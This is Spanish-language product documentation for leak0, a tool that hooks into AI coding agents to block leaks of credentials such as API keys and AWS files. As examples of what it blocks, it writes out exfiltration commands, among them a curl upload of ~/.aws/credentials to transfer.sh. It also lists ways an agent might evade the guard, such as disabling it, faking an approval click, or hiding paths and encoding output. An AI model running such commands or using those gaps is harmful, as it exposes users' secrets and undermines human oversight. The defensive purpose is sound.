Comentar este tema con una IA

Obtiene una respuesta de la documentación y la página de la que procede.

leak0

leak0: Protección contra la exfiltración de credenciales

leak0 evita que sus agentes de IA envíen al exterior secretos como claves de API, tokens o archivos de credenciales (exfiltración). Revisa sus entradas, las llamadas de herramientas de los agentes y su salida directamente en su dispositivo. Solo se bloquea lo que leak0 puede probar.

~10 min de lectura · leak0

Términos

TérminoSignificado
HookUn punto de entrada que ofrece el agente: antes o después de un paso, el agente llama a leak0 y espera la respuesta. leak0 trabaja solo a través de estos hooks.
Llamada de herramientaUna acción del agente, por ejemplo un comando de shell, un acceso a un archivo, una petición web o una llamada MCP.
Bloqueoleak0 detiene la llamada de herramienta antes de que se ejecute. Solo con prueba.
PreguntaEl agente se detiene y le pregunta si la llamada debe ejecutarse.
AvisoLa llamada se ejecuta y leak0 devuelve al agente un mensaje de texto sobre el hallazgo.
Ocultarleak0 sustituye un valor secreto en la salida de una herramienta por un marcador antes de que el modelo lo vea.
Hash cortoUna huella breve de un valor. Identifica un hallazgo en el mensaje y en la auditoría sin revelar el valor.
Marcador de posiciónUn valor de ejemplo reconocible en lugar de un secreto real, por ejemplo your-api-key-here, <token> o ${API_KEY}.
Diálogo de PoisonZeroUna ventana de PoisonZero en primer plano en su escritorio. Pregunta si un commit con un archivo de secretos puede ejecutarse cuando el agente no puede preguntarle por sí mismo. Bloquear está preseleccionado.
Inicio de sesión del sistemaLa ventana de inicio de sesión de su sistema operativo, por ejemplo con Touch ID, un PIN o su contraseña. Solo aparece si usted elige Permitir. Un agente no puede dar este inicio de sesión por sí mismo.

Alcance de la inspección

leak0 revisa cuatro vías por las que un secreto puede salir de su dispositivo o acabar en un lugar equivocado.

VíaEjemplosCuándo se revisa
1 Commit y publicacióngit add, git push, npm publish, entre otrosAntes de la llamada (hook de shell)
2 Red y herramientas de terceroscurl, scp, peticiones web, llamadas MCPAntes de la llamada (hooks de shell, web y MCP)
3 Secreto hacia el modelocat ~/.aws/credentials, env, un token en su entradaAntes de la llamada (hooks de entrada y de lectura) y en la salida posterior (hook de salida)
4 Secreto en un archivo equivocadoUn token fijo en el código, en un archivo de CI, en un README o en un archivo de memoriaAntes de escribir (hook de escritura)
El abuso sin fuga, como borrar un archivo de credenciales, lo revisa exec0.

Cuándo bloquea leak0

Un bloqueo necesita una de cinco pruebas, de B1 a B5. Sin prueba, leak0 no bloquea; en su lugar pregunta, oculta o da un aviso.

PruebaCuándo se cumpleEjemplo
B1 Archivo de credenciales conocidoLa llamada afecta a un archivo de credenciales conocido y su contenido confirma el tipo. Para ello leak0 sigue los enlaces simbólicos y normaliza las rutas de Windows.~/.aws/credentials, un JSON de cuenta de servicio, una clave SSH privada
B2 Token con suma de verificaciónEl token tiene un prefijo conocido y una suma de verificación válida. Solo se aplica a familias de tokens que llevan suma de verificación.GitHub ghp_…, npm_…, GitLab glpat-…, entre otros
B3 Valor secreto conocidoUn valor que leak0 ya reconoció como secreto en la misma sesión aparece literalmente en una llamada saliente.El contenido de ~/.aws/credentials en el cuerpo de una llamada curl
B4 Secreto hacia tercerosEl secreto está en los datos enviados (cuerpo, subida, gist, nombre DNS) y el destino demostrablemente no es suyo: un servicio de pegado, de depósito de archivos, de recogida de peticiones o de túnel, una dirección IP pública o una publicación pública.curl -F f=@~/.aws/credentials https://transfer.sh
B5 Desactivar leak0El agente intenta desactivar leak0, o elimina o modifica las entradas de PoisonZero en su configuración de hooks.poisonzero leak0 off, ejecutado por el agente

Qué contiene un mensaje

Con cada bloqueo y cada pregunta, el agente recibe un mensaje. Nunca nombra el valor secreto. Contiene:

  • leak0 como remitente y la prueba (B1 a B5)
  • la clase de regla con el prefijo leak0:, por ejemplo leak0:checksum_token_commit
  • el tipo de prueba: ruta resuelta, estructura, suma de verificación o coincidencia de hash
  • el hash corto del valor
  • cómo desactivar leak0

Cuándo no bloquea leak0

leak0 solo bloquea cuando una fuga está probada. En estos casos falta la prueba, por eso nunca hay bloqueo.

SituaciónQué hace leak0
Un token va a su propio punto de inicio de sesión, por ejemplo en la cabecera Authorization o como user:token@hostSin bloqueo; según el caso, una pregunta o un aviso
Copia a sus propios servidores (scp, rsync), almacenamiento compatible con S3, GitLab o Vault autoalojadosSin bloqueo; con un archivo de credenciales, una pregunta
Archivos .env, archivos de inicio de la shell como ~/.zshrc, archivos PEM dentro del repositorioSin bloqueo; pregunta, ocultación o aviso
Un archivo secreto con valores reales en una carpeta de pruebas, por ejemplo tests/.env o fixtures/credentialsUna pregunta en lugar de un bloqueo
Marcadores de posición y valores de ejemplo en carpetas de pruebas y plantillas, por ejemplo .env.exampleSe ejecuta sin intervención
Un token con suma de verificación en una carpeta de documentación, por ejemplo docs/ o examples/Una pregunta en lugar de un bloqueo

Carpetas de pruebas son carpetas del repositorio con exactamente uno de estos nombres: test, tests, testdata, fixtures, fixture, __tests__, __fixtures__, __mocks__. También cuentan los archivos de prueba como *_test.*, *.spec.* y *.test.*, y las plantillas con la extensión .example, .sample o .template.

Lo que cuenta es la ruta desde la raíz del repositorio. La carpeta que contiene el repositorio no cuenta: leak0 revisa un proyecto en ~/TestApp como cualquier otro.

Carpetas de documentación (docs, doc, examples, example, samples, sample, spec) solo suavizan los hallazgos de tokens. leak0 revisa allí los archivos secretos como en cualquier otro lugar: docs/.env con valores reales lleva a una pregunta, un archivo de credenciales real a un bloqueo.

Archivos secretos nuevos en Git

Cuando un comando de Git incorpora un archivo secreto nuevo, por ejemplo un .env, un archivo de credenciales o un archivo de claves, leak0 revisa su contenido. El mensaje nombra el archivo, nunca el valor.

SituaciónQué hace leak0
git add . o git add -A incorpora un archivo secreto con valores realesUna pregunta que nombra el archivo
git commit -a o git commit con rutas incluye un archivo asíUna pregunta que nombra el archivo
git push, también con --tags o como primer push, envía un archivo asíUna pregunta que nombra el archivo
El archivo es un archivo de credenciales probado (B1), por ejemplo un archivo credentials de AWSBloqueo
.env.example o un archivo solo con marcadores de posiciónSe ejecuta sin intervención
La comprobación no termina en el tiempo disponiblePregunta donde el agente pregunta por sí mismo; si no, bloqueo con la petición de volver a intentarlo. La llamada nunca pasa sin comprobar.

Quién pregunta depende del agente:

AgentePregunta sobre un archivo de secretos en Git
Claude Code, Cursor y Antigravity CLIEl propio diálogo de confirmación del agente
Codex y Gemini CLIEl diálogo de PoisonZero, Permitir con inicio de sesión del sistema

Aprobación en el diálogo de PoisonZero

Codex y Gemini CLI no pueden preguntarle por sí mismos desde el hook. Por eso, ante un archivo de secretos en Git, pregunta PoisonZero, en dos pasos. Ambas ventanas llevan el título «poison0 agent: leak0 safeguard».

PasoQué ocurre
1. Diálogo de PoisonZeroAparece en primer plano y nombra el producto, el agente, el archivo y el motivo, nunca el valor. Bloquear está preseleccionado: un clic, sin contraseña.
2. Inicio de sesión del sistemaSolo si usted elige Permitir, aparece al instante en primer plano la ventana de inicio de sesión de su sistema operativo. Usted inicia sesión con su propia cuenta.
SituaciónEfecto
Usted elige Permitir e inicia sesiónLa llamada se ejecuta, una vez
Usted elige BloquearBloqueo. El agente recibe el texto de que usted rechazó la llamada y la petición de consultarle.
Usted cancela el inicio de sesión, o la contraseña es incorrectaBloqueo
Sin respuesta en 90 segundosBloqueo
El agente lo vuelve a intentar tras un rechazo o sin respuestaDurante 60 segundos no hay un nuevo diálogo para el mismo archivo. Bloqueo con un texto claro para el agente.
Más de tres diálogos en un minutoBloqueo sin diálogo. El agente recibe el aviso de que hubo demasiadas solicitudes.
Sin escritorio: sesión SSH, CI, nadie con sesión iniciada o el servicio de PoisonZero no está accesibleBloqueo. El mensaje indica poisonzero leak0 allow <archivo> para su propio terminal.

¿Por qué un inicio de sesión del sistema? Un agente puede provocar por sí mismo un clic en Permitir, por ejemplo mediante automatización de la interfaz. No puede dar el inicio de sesión de su sistema operativo. Por eso un clic por sí solo no deja pasar nada.

Sistema operativoVentana de inicio de sesión
macOSLa ventana del sistema de macOS con Touch ID o contraseña
WindowsLa ventana «Seguridad de Windows» con el texto de PoisonZero. Si tiene configurado un PIN o una huella digital, Windows se lo ofrece allí.
LinuxLa autenticación del sistema de polkit. PoisonZero nunca ve la contraseña.

Solo cuenta el inicio de sesión de la cuenta con la que se ejecuta el agente; no necesita derechos de administrador. Claude Code sigue preguntando en su propio diálogo de confirmación.

Aprobación en su propio terminal

Sin escritorio, por ejemplo por SSH, leak0 bloquea e indica el comando poisonzero leak0 allow <archivo>. Ejecútelo en su propio terminal, no a través del agente. Después deje que el agente repita el commit o el push.

ComandoEfecto
poisonzero leak0 allow <archivo>Aprueba exactamente el contenido actual del archivo: para cualquier número de commits durante 10 minutos y para un push, el primero que lleva el archivo. Se admiten varios archivos.
  • Confirmación: su propia contraseña, en su propio terminal. No necesita derechos de administrador. En macOS y Linux también funciona con sudo.
  • Solo este contenido: si el archivo cambia después, la aprobación deja de valer.
  • Intentos fallidos: 3 segundos entre dos intentos. Tras 5 intentos fallidos, la aprobación queda bloqueada 15 minutos.
  • Servicio: el servicio de PoisonZero comprueba el inicio de sesión, emite la aprobación y la guarda. Debe estar en ejecución.
  • No a través del agente: si el agente ejecuta el comando por sí mismo, leak0 lo bloquea (B5).
  • El mensaje al agente indica el comando también tras un rechazo en el diálogo.

Aprobación por los usuarios en el perfil

En los perfiles Cloud, el admin decide si las personas en el dispositivo pueden aprobar ellas mismas commits con archivos de secretos. Consola: sección leak0, interruptor Los usuarios pueden aprobar ellos mismos commits con archivos de secretos. Predeterminado: activado.

InterruptorQué hace leak0
ActivadoPregunta en el diálogo del agente o en el diálogo de PoisonZero. Es posible aprobar con poisonzero leak0 allow.
DesactivadoBloqueo en todos los agentes, también en Claude Code. El mensaje pide consultar al admin. poisonzero leak0 allow rechaza la aprobación y las aprobaciones existentes no cuentan.

Los dispositivos privados no tienen este interruptor. Allí la aprobación siempre es posible.

Notificación de escritorio al bloquear

Cuando leak0 bloquea una llamada, PoisonZero puede mostrar una notificación de escritorio: agente, herramienta y qué se bloqueó, por ejemplo «Token en un commit». Nunca contiene un valor secreto, una ruta ni un comando.

PuntoComportamiento
ActivarlaConsola: perfil, ajuste Aviso cuando se bloquea una amenaza. Dispositivos privados: sudo poisonzero notify on; el ajuste local tiene prioridad sobre el perfil. Predeterminado: desactivado.
CuándoAnte un bloqueo. Las preguntas, la ocultación y los avisos no generan notificación.
Para quiénPara la persona con sesión iniciada en el escritorio cuyo agente fue bloqueado
FrecuenciaEl mismo bloqueo como máximo una vez por minuto, al menos 5 segundos entre dos notificaciones

Agentes compatibles

leak0 es compatible con cinco agentes. Lo que hace en cada agente depende de los hooks que ofrece el agente.

AgenteSistemas operativos
Claude CodemacOS, Linux y Windows
Codex (CLI e IDE)macOS, Linux y Windows
CursormacOS y Linux
Gemini CLImacOS, Linux y Windows
Antigravity CLImacOS, Linux y Windows
AgenteBloquearPreguntaOcultar secretos en la salida de herramientasRevisar sus entradas
Claude Codesísí, diálogosí, solo el valorsí
Codex (CLI e IDE)sídiálogo de PoisonZero para archivos de secretos en Git; si no, avisosí, solo el valorsí
Cursorsídiálogo en llamadas de shell y MCPen salidas MCPsí
Gemini CLIsídiálogo de PoisonZero para archivos de secretos en Git; si no, avisosí, solo el valorsí
Antigravity CLIsísí, diálogono disponibleno disponible

Qué significan las columnas

  • Bloquear: leak0 detiene la llamada de herramienta antes de que se ejecute cuando se cumple una de las pruebas B1 a B5. Se aplica a los cinco agentes.
  • Pregunta: Si un secreto es probable pero no está probado, por ejemplo con git add .env, se le pregunta antes de ejecutar la llamada. Claude Code y Antigravity CLI muestran su diálogo de confirmación, Cursor lo hace en llamadas de shell y MCP. Codex y Gemini CLI: el diálogo de PoisonZero para archivos de secretos en Git, consulte Aprobación en el diálogo de PoisonZero.
  • Aviso (columna Pregunta): para otras preguntas, Codex y Gemini CLI no ofrecen un diálogo desde el hook. Allí la llamada se ejecuta y leak0 devuelve al agente un mensaje de texto que nombra el hallazgo.
  • Ocultar secretos en la salida de herramientas: Si aparece un secreto en la salida de una herramienta, por ejemplo con cat .env, leak0 sustituye solo el valor antes de que el modelo lo vea: OPENAI_API_KEY=[leak0:openai:a1b2]. Si el valor no se puede localizar por separado, leak0 retiene toda la salida. Cursor: en salidas MCP. Antigravity CLI: no disponible, porque el agente solo ofrece un hook antes de la llamada de herramienta. Salidas de shell y de archivos en Cursor: un aviso al agente, registrado en la auditoría como leak0_warned.
  • Revisar sus entradas: leak0 revisa su propia entrada, por ejemplo un token pegado, antes de que llegue al modelo. Antigravity CLI: no disponible. Cursor CLI en modo de impresión (-p) no llama al hook de entrada.

Si una salida de herramienta es demasiado grande para revisarla en el tiempo disponible, leak0 la retiene en el modo Activado. El agente recibe un aviso para acotar el comando, por ejemplo con head o grep.

Los hallazgos que no justifican ni un bloqueo ni una pregunta reciben un aviso de leak0: siempre en Codex, Cursor y Gemini CLI, y en Claude Code mientras exec0 está desactivado. Antigravity CLI no tiene campo para avisos; allí la llamada se ejecuta sin mensaje.

Ocultar cambia lo que ven el modelo y los hosts de terceros. Las transcripciones y la telemetría del agente pueden seguir conteniendo el valor en texto claro.

Observaciones

  • Codex: la búsqueda web integrada se ejecuta en el proveedor sin hook y no se revisa.
  • Las ejecuciones en la nube, como Codex Cloud o el agente en la nube de Copilot, no se ejecutan en su dispositivo; leak0 no las ve.
  • poisonzero leak0 status muestra cada agente del dispositivo como protegido, parcialmente protegido o no protegido.

Agentes que leak0 (aún) no admite

AgenteMotivo
GitHub Copilot CLI, VS Code agent, Windsurf, Cline (macOS y Linux), Kiro, Goose, Augment (Auggie), Junie CLI, Factory Droid, Amp, OpenCode, Cortex Code CLI, Qwen Code, Kilo Code, Crush, OpenHands, Open Interpreter, gptme, Kimi Code CLI, Mistral Vibe, Pi, Grok CLI, Tabnine CLITienen hooks, no compatibles en esta versión
Asistente de código de Xcode (Claude Code, Codex y Gemini CLI dentro de Xcode)Lee su propia configuración de ~/Library/Developer/Xcode/CodingAssistant/; no protegido en esta versión
AiderSin sistema de hooks; los commits automáticos se ejecutan con --no-verify de forma predeterminada
ZedSolo reglas fijas por herramienta, sin hook ejecutable
Cline en WindowsSin hooks en Windows
Cursor en WindowsCompatible con macOS y Linux en esta versión
Amazon Q Developer CLIProducto discontinuado
Warp, Roo Code, Continue (extensión de IDE), Trae, Void, Plandex, Qodo, GitHub Copilot en Visual Studio, JetBrains, Xcode y Eclipse, JetBrains AI Assistant, Gemini Code Assist, Android Studio Gemini, Databricks Assistant, extensión de Snowflake para VS Code, Sourcegraph Cody, Letta Code, Tabby, Raycast AI, Google Jules CLI, Pieces, Flowise, Dify, LibreChatNo se conoce ningún hook utilizable

Fuera del alcance

leak0 no cubre estos casos, o solo en parte. La columna derecha indica qué se aplica en su lugar.

No cubiertoMotivoEn su lugar
Envenenamiento de memoria, también cuando la instrucción envenenada dice que se envíen secretosUna protección propiapoison0, consulte Qué hace el agente poison0
Abuso sin fuga: sobrescribir o borrar un archivo de credenciales, relajar permisos, crear tokens con un alcance demasiado amplioNingún secreto sale de la máquinaexec0
Prompt injection en contenido que lee el agenteUn riesgo distintoinject0
Rutas ocultas, por ejemplo mediante comodines, variables, $(...) o subprocesosLa ruta no figura de forma demostrable en el comandoSin bloqueo; la salida se oculta donde el agente lo permite
Salida codificada o dividida, por ejemplo en hexadecimal o en trozosUna suma de verificación solo coincide con el valor completoSe retiene toda la salida cuando un archivo de credenciales alimenta un comando que la transforma
Scripts, Makefiles, hooks de git o CI que se inician más tardeEscribir e iniciar son llamadas separadasBloqueo solo cuando el script escrito envía un archivo de credenciales a un destino demostrablemente de terceros en la misma pipeline; si no, un aviso
Secretos sin formato conocido, por ejemplo contraseñasNo demostrableOcultación por nombre de campo dentro de archivos de credenciales conocidos; nunca un bloqueo
Tokens revocados o de prueba con una suma de verificación válidaSin conexión no se distinguen de los tokens realesEn rutas de pruebas, fixtures y documentación, una pregunta en lugar de un bloqueo
Comprobación en línea de si un token sigue siendo válidoleak0 solo revisa sin conexiónNo forma parte de leak0
Vías sin hook: búsqueda web de Codex, comandos ! en Claude Code, telemetría, entradas escritas en un terminal junto al agenteNingún hook las veNo cubierto
Texto claro en disco: transcripciones y telemetría de los agentesleak0 cambia lo que ven el modelo y los hosts de terceros, no lo que guarda el agenteNo cubierto
Un sandbox o lanzador propio para agentesleak0 trabaja solo a través de los hooks de los agentesNo forma parte de leak0
leak0 cubre las vías directas conocidas y solo bloquea con prueba. No detecta por completo las vías ocultas.

Modos de funcionamiento

ModoEn la consolaEfecto
enforceActivadoBloquea con prueba, pregunta, oculta y añade avisos.
observeObservarRegistra cada coincidencia con su prueba. Nunca bloquea, pregunta ni oculta.
offDesactivadoSin revisiones. Si exec0 también está desactivado, el hook termina de inmediato.

leak0 nunca se activa en silencio. Solo está activo tras una decisión: en el instalador, con PZ_SETUP_LEAK0, con sudo poisonzero leak0 enforce o en el perfil de la consola. Sin ninguna de ellas, el modo es off.

  • Orden: ajuste local, luego perfil, luego off. En los dispositivos Cloud el ajuste local no cuenta.
  • leak0 es independiente de exec0: leak0 activado con exec0 desactivado es un ajuste válido. Ambos se ejecutan en la misma entrada de hook; leak0 revisa primero.
  • leak0 forma parte de Solo Dev, Pro y Enterprise.

Configuración en modo Cloud

  1. En la consola abra Settings → Perfiles.
  2. Enterprise: haga clic en Editar en el perfil. Solo Dev y Pro: el perfil se muestra directamente en esta sección.
  3. En el área de leak0 elija Activado, Observar o Desactivado. Los perfiles existentes empiezan en Desactivado; un perfil nuevo tiene Activado preseleccionado.
  4. Opcionalmente añada sus propios archivos de secretos y exclusiones en las dos listas y decida si los usuarios pueden aprobar ellos mismos commits con archivos de secretos.
  5. Guarde. Los dispositivos Cloud adoptan el ajuste en su próxima sincronización con la consola y añaden las entradas de hook que falten; quienes usan Codex confirman los nuevos hooks en Codex con /hooks.
Campo del perfilValoresLímite
leak0.modeenforce, observe, offoff hasta que se establezca
leak0.secretFilesLista de { path, keys }: path es un glob, se permiten ~ y %USERPROFILE%; keys nombra opcionalmente los campos que contienen el secretocomo máximo 200 entradas
leak0.exclusionsLista de globs que leak0 no trata como fuente de secretoscomo máximo 200 entradas
leak0.userMayApprovetrue, false: las personas en el dispositivo pueden aprobar commits con archivos de secretostrue hasta que se defina

En los dispositivos Cloud se rechazan los comandos poisonzero leak0 que cambian algo, excepto clear; se aplica el ajuste de la consola. En los perfiles privados la consola muestra un aviso de que el ajuste solo se aplica a dispositivos Cloud.

Configuración en modo privado

Los dispositivos privados no se controlan desde la consola. Todo se ajusta con la CLI en el dispositivo.

ComandoEfecto
poisonzero leak0 statusMuestra el modo, el origen (local, perfil, predeterminado), cuántos archivos secretos y exclusiones contienen sus listas (poisonzero leak0 file list y exclude list las muestran) y la protección por agente. Cuando leak0 está desactivado, indica el comando para activarlo.
poisonzero leak0 allow <archivo>Aprueba un archivo de secretos con su contenido actual para commits (10 minutos) y un push, con su inicio de sesión del sistema; consulte Aprobación en su propio terminal
sudo poisonzero leak0 enforceActiva leak0
sudo poisonzero leak0 observeSolo observar
sudo poisonzero leak0 offDesactiva leak0
sudo poisonzero leak0 clearElimina el ajuste local; vuelve a aplicarse el perfil o off
sudo poisonzero leak0 file add <glob> --keys k1,k2Añade un archivo de secretos propio; --keys es opcional
sudo poisonzero leak0 file remove <glob>Lo elimina
poisonzero leak0 file listLista sus archivos de secretos
sudo poisonzero leak0 exclude add <glob>Añade una exclusión
sudo poisonzero leak0 exclude remove <glob>La elimina
poisonzero leak0 exclude listLista las exclusiones
En Windows, ejecute los comandos sin sudo en un terminal abierto como administrador.

Los ajustes se guardan en el directorio de datos: /var/lib/poisonzero (Linux), /Library/Application Support/PoisonZero (macOS), <ProgramData>\PoisonZero (Windows), consulte Instalar el agente poison0.

ArchivoContenidoEscrito por
leak0modeInterruptor local: enforce, observe u offpoisonzero leak0 enforce, observe, off
leak0.local.jsonSus listas: {"secretFiles": [...], "exclusions": [...]}poisonzero leak0 file y exclude
leak0.profileCopia del ajuste de leak0 del perfil de la consolaEl agente poison0, solo en dispositivos Cloud

Instalación

En un terminal, el instalador pregunta si activar leak0: Activado, Observar o Desactivado, con Activado preseleccionado. Esto también se aplica a la instalación en una línea con curl -fsSL https://poisonzero.com/install.sh | sudo sh.

Las instalaciones desatendidas (MDM, herramientas de flota, scripts) leen PZ_SETUP_LEAK0; sin ella, leak0 queda desactivado. En los dispositivos Cloud decide el perfil de la consola.

VariableValoresSin la variable
PZ_SETUP_LEAK0enforce, observe, offInteractiva: la pregunta de arriba. Desatendida: off
bashInstalar con leak0 activado
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
powershellInstalar con leak0 activado
$env:PZ_SETUP_LEAK0='enforce'
irm https://poisonzero.com/install.ps1 | iex

Entradas de hook

SituaciónQué ocurre
Instalar el agente poison0El instalador añade las entradas de hook de PoisonZero a cada agente compatible que encuentra: en macOS y Linux a Claude Code, Codex, Cursor, Gemini CLI y Antigravity CLI, en Windows a Claude Code, Codex, Gemini CLI y Antigravity CLI. Codex le pide una vez que confíe en el nuevo hook: confírmelo en Codex con /hooks.
Desactivar leak0 o exec0Las entradas de hook se mantienen. Cada producto se activa o desactiva en tiempo de ejecución, de forma independiente del otro.
Desinstalar el agente poison0Solo esto elimina las entradas de hook.
Un administrador activa leak0 en un perfil CloudEl dispositivo añade las entradas de hook que falten en su próxima obtención de la configuración. Codex le pide que confíe en los nuevos hooks: confírmelos en Codex con /hooks. poisonzero leak0 status muestra cuándo hay una confirmación pendiente.
Claude Code: el hook no se ejecuta (falta el binario, cierre inesperado, tiempo de espera agotado)Si leak0 o exec0 funciona en modo enforce (leak0: Activado, exec0: Protección), Claude Code bloquea la llamada a la herramienta. Si ambos están en Observar o Desactivado, Claude Code continúa la llamada.
Codex, Cursor, Gemini CLI, Antigravity CLI: el hook no se ejecutaEl agente continúa la llamada (fail-open). En Cursor, failClosed no está activado.

Dispositivos existentes: una actualización no activa leak0. Sigue desactivado hasta que ejecute sudo poisonzero leak0 enforce o lo active en el perfil de la consola.

Auditoría

Cada decisión de leak0 se escribe como evento de auditoría.

AcciónSignificadoAuditoría localAuditoría de la consola (modo Cloud)
leak0_blockedLlamada bloqueada con pruebasísí
leak0_askedConfirmación solicitada. En Codex y Gemini CLI con el resultado del diálogo de PoisonZero: permitido, rechazado, sin respuesta o sin diálogo posiblesísí
leak0_redactedValor oculto en una salida de herramientasísí
leak0_warnedAdvertido: el agente no permite la intervención, por ejemplo ocultar una salida de shell o de archivo en Cursor. leak0 devuelve un aviso al agente.sísí
leak0_observedHallazgo en modo observe, sin intervenciónsíSolo si en el perfil está activado «También en la consola (auditoría en la nube)»; por defecto: desactivado
leak0_grantedArchivo aprobado con poisonzero leak0 allow tras su inicio de sesión del sistema. Con el usuario, el número de archivos y un hash corto por archivosísí
leak0_grant_failedAprobación fallida: inicio de sesión incorrecto o canceladosísí
leak0_grant_lockedAprobación rechazada sin inicio de sesión porque fallaron demasiados inicios de sesiónsísí

Campos por evento: agente, herramienta, clase de regla, modo y un hash corto. Nunca se incluyen el valor secreto, la ruta ni el comando. En la consola los eventos tienen sus propias etiquetas; leak0_blocked y leak0_redacted cuentan como incidentes. leak0_warned no cuenta como incidente. Un nuevo intento en los 60 segundos posteriores a un rechazo y un intento por encima del límite de diálogos figuran cada uno como entrada leak0_blocked propia. Si la aprobación para exactamente ese contenido ya la consumió un push, la entrada lo indica. leak0_granted y leak0_grant_locked cuentan como incidentes.

Privacidad

DatosModo CloudModo privado
Contenido de prompts, comandos, archivos y salidasRevisado en el dispositivo, no se envía para la revisiónRevisado en el dispositivo
Valores secretosNunca en la auditoría ni en el diarioNunca en la auditoría ni en el diario
Estado de la sesión (rutas de copias, hashes cortos de valores reconocidos)En el dispositivo, un archivo por sesión, legible solo por su cuenta de usuario, borrado al terminar la sesión donde el agente informa del final (Claude Code), si no, a las 24 horasIgual
Entrada de auditoría (hora, acción, herramienta, clase de regla, hash corto), sin contenidoEn el dispositivo y en la auditoría de la consolaSolo en el dispositivo

Nunca en la auditoría: valores, rutas, comandos, argumentos ni su prompt. Lista completa: Qué envía el modo Cloud.

Comparación con exec0 y la protección de memoria

Protección de memoriaexec0leak0
RevisaCambios en la memoria y en los archivos de instrucciones de los agentesCada llamada de herramienta, en busca de dañoPrompts, llamadas de herramientas y salidas, en busca de secretos que salen
Decide conMelira AI y reglasReglas fijas y Melira AIReglas fijas con prueba, sin modelo
Se ejecutaEn su dispositivoEn su dispositivoEn su dispositivo

Siga leyendo

Llamadas de herramientas dañinas: exec0. Qué protege poison0: Qué hace el agente poison0. Elegir un modo: Cloud o privado.